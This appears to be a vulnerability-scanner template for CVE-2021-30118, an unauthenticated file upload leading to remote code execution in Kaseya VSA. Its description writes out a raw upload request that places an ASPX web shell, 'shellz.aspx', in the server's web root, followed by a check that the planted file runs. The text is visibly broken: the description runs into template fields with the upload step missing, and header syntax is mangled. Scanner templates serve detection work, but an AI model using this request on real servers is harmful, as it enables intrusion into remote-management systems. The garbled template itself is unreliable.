id: CVE-2021-30118 info: name: Kaseya VSA < 9.5.7 - Arbitrary File Upload to Remote Code Execution author: daffainfo severity: critical description: | An attacker can upload files with the privilege of the Web Server process for Kaseya VSA Unified Remote Monitoring & Management (RMM) 9.5.4.2149 and subsequently use these files to execute asp commands The api /SystemTab/uploader.aspx is vulnerable to an unauthenticated arbitrary file upload leading to RCE. An attacker can upload files with the privilege of the Web Server process and subsequently use these files to execute asp commands. Detailed description --- Given the following request- ``` POST /SystemTab/uploader.aspx?Filename=shellz.aspx&PathData=C%3A%5CKaseya%5CWebPages%5C&__RequestValidationToken=ac1906a5-d511-47e3-8500-47cc4b0ec219&qqfile=shellz.aspx HTTP/1.1 Host- 192.168.1.194 Cookie- sessionId=92812726; %5F%5FRequestValidationToken=ac1906a5%2Dd511%2D47e3%2D8500%2D47cc4b0ec219 Content-Length- 12 <%@ Page Language="C#" Debug="true" validateRequest="false" %> <%@ Import namespace="System.Web.UI.WebControls" %> <%@ Import namespace="System.Diagnostics" %> <%@ Import namespace="System.IO" %> <%@ Import namespace="System" %> <%@ Import namespace="System.Data" %> <%@ Import namespace="System.Data.SqlClient" %> <%@ Import namespace="System.Security.AccessControl" %> <%@ Import namespace="System.Security.Principal" %> <%@ Import namespace="System.Collections.Generic" %> <%@ Import namespace="System.Collections" %> cookie-reuse: false matchers: - type: dsl dsl: - "contains_all(body, 'success', 'true')" - "status_code == 200" condition: and internal: true - raw: - |+ GET /{{filename}} HTTP/1.1 Host: {{Hostname}} Cookie: sessionId={{sessionid}} unsafe: true matchers-condition: and matchers: - type: word part: body words: - '{{md5(num)}}' - type: status status: - 200 # digest: 4a0a00473045022013a0e20d66f897bcfea07c0b953df7880a24bc38e3d45ff648530ce20f055018022100bbe4e36817dd6d343aa866755c21b5be3eb4179cdbbae30193a4f73e1145ea78:922c64590222798bb761d5b6d8e72950